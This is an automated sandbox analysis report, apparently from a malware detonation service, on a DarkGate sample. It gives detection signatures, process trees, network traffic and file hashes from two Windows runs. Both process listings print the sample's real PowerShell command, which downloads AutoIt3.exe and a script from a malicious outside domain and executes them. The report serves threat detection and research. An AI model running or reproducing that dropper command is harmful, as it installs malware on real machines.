Analysis Overview
SHA256
c49909f924e6ba5de54e3afa58c1653ef8e37fbcfee9a310941d38d17060bd4d
Threat Level: Known bad
The file 07112023_0245_060e45bf7b57d4.zip was found to be: Known bad.
Malicious Activity Summary
DarkGate
Downloads MZ/PE file
Blocklisted process makes network request
Executes dropped EXE
Checks computer location settings
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Checks processor information in registry
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-11-06 18:45
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-11-06 18:45
Reported
2023-11-06 18:48
Platform
win7-20231023-en
Max time kernel
119s
Max time network
123s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1408 wrote to memory of 2444 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1408 wrote to memory of 2444 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1408 wrote to memory of 2444 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"
Network
Files
memory/2444-4-0x000000001B2E0000-0x000000001B5C2000-memory.dmp
memory/2444-5-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp
memory/2444-6-0x0000000002370000-0x0000000002378000-memory.dmp
memory/2444-7-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp
memory/2444-8-0x00000000026B0000-0x0000000002730000-memory.dmp
memory/2444-10-0x00000000026B0000-0x0000000002730000-memory.dmp
memory/2444-9-0x00000000026B0000-0x0000000002730000-memory.dmp
memory/2444-11-0x00000000026B0000-0x0000000002730000-memory.dmp
memory/2444-12-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-11-06 18:45
Reported
2023-11-06 18:48
Platform
win10v2004-20231020-en
Max time kernel
143s
Max time network
155s
Command Line
Signatures
DarkGate
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\tepp\AutoIt3.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\tepp\AutoIt3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 8 wrote to memory of 1612 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 8 wrote to memory of 1612 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1612 wrote to memory of 2284 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 1612 wrote to memory of 2284 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 1612 wrote to memory of 2284 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"
C:\tepp\AutoIt3.exe
"C:\tepp\AutoIt3.exe" hujidbbn.au3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.136.104.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8sjimonstersboonkonline.com | udp |
| US | 82.117.253.136:2351 | 8sjimonstersboonkonline.com | tcp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.253.117.82.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 155.245.36.23.in-addr.arpa | udp |
| US | 82.117.253.136:2351 | 8sjimonstersboonkonline.com | tcp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.128.231.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 161.252.72.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.179.89.13.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dzydg5f5.l1i.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1612-5-0x000001F95CAC0000-0x000001F95CAE2000-memory.dmp
memory/1612-10-0x00007FF849BF0000-0x00007FF84A6B1000-memory.dmp
memory/1612-11-0x000001F95C200000-0x000001F95C210000-memory.dmp
memory/1612-12-0x000001F95C200000-0x000001F95C210000-memory.dmp
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
memory/1612-26-0x00007FF849BF0000-0x00007FF84A6B1000-memory.dmp
C:\tepp\hujidbbn.au3
| MD5 | 305a14601aa52a85993c77549c330e43 |
| SHA1 | aa4998fc5deaba2d7a32b188d942fded94182e2b |
| SHA256 | 8cf3bf5fc4274ea0d15a2b0c3999a21e1303ef83c42145a9a6e3e6b5114f0cce |
| SHA512 | 65f2201f003ba2dfa01d3a793c7f58d4ee711f02b8e849081b9325a61b7e04df5708ddf153be74ebf8a48df5ca7c70b68285925786ababb748b669ed994143ff |
memory/2284-29-0x00000000014B0000-0x00000000018B0000-memory.dmp
memory/2284-30-0x00000000043F0000-0x0000000004585000-memory.dmp
memory/2284-31-0x00000000043F0000-0x0000000004585000-memory.dmp